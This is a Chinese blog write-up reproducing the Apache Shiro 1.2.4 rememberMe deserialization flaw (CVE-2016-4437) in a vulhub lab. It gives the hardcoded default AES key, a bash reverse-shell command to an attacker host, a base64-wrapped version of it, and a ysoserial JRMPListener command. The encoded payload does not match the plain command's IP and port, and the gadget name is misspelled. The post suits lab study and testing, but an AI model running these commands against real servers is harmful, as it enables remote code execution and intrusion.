Apache Shiro反序列化漏洞-Shiro-550复现

本文详细介绍了Shiro1.2.4版本中的反序列化漏洞原理,涉及AES加密和硬编码密钥的安全隐患。通过环境搭建和CVE-2016-4437漏洞利用步骤,展示了如何利用该漏洞获取shell权限。
摘要由CSDN通过智能技术生成

1.漏洞原理

        在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,然后base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,然后AES解密,最后反序列化。由于AES加密是对称加密算法,所以如果攻击者知道AES的密钥值,就可以构造恶意的rememberMe cookie值从而触发反序列化漏洞。Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe cookie值。

2.环境搭建  

        靶机:ubuntu 192.168.101.52

        攻击机: kali 192.168.101.31

        vps: window11 192.168.101.13

1. cd vulhub/shiro/CVE-2016-4437
2. docker-compose up -d

工具包:链接:https://pan.baidu.com/s/1HtN-d2h_WqhaRZwuhrkgow?pwd=amhm
             提取码:amhm
 

只要响应包中出现rememberMe=delete字段就说明存在漏洞,这样说是不正确的,这只能说明登录页面采用了Shiro进行了身份验证。

具体验证可以参考这篇博客,但要也要成功得到密钥才能对漏洞进行利用

详细shiro漏洞复现及利用方法(CVE-2016-4437)_糊涂是福yyyy的博客-CSDN博客

漏洞利用

利用Shiro_exploit.py爆破密钥为kPH+bIxk5D2deZiIxcaaaA==,就可以进行下一步操作了

用nc开启监听

对反弹shell的bash命令进行base64编码

bash -i >& /dev/tcp/192.168.101.31/2233 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

用序列化攻具ysoserial监听5555端口

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollentions5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

使用shiro.py生成rememberMe

在burpsuite的Cookie中添加rememberMe字段

点击发送,成功获得shell

集成化工具使用

使用工具也太简单了。。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值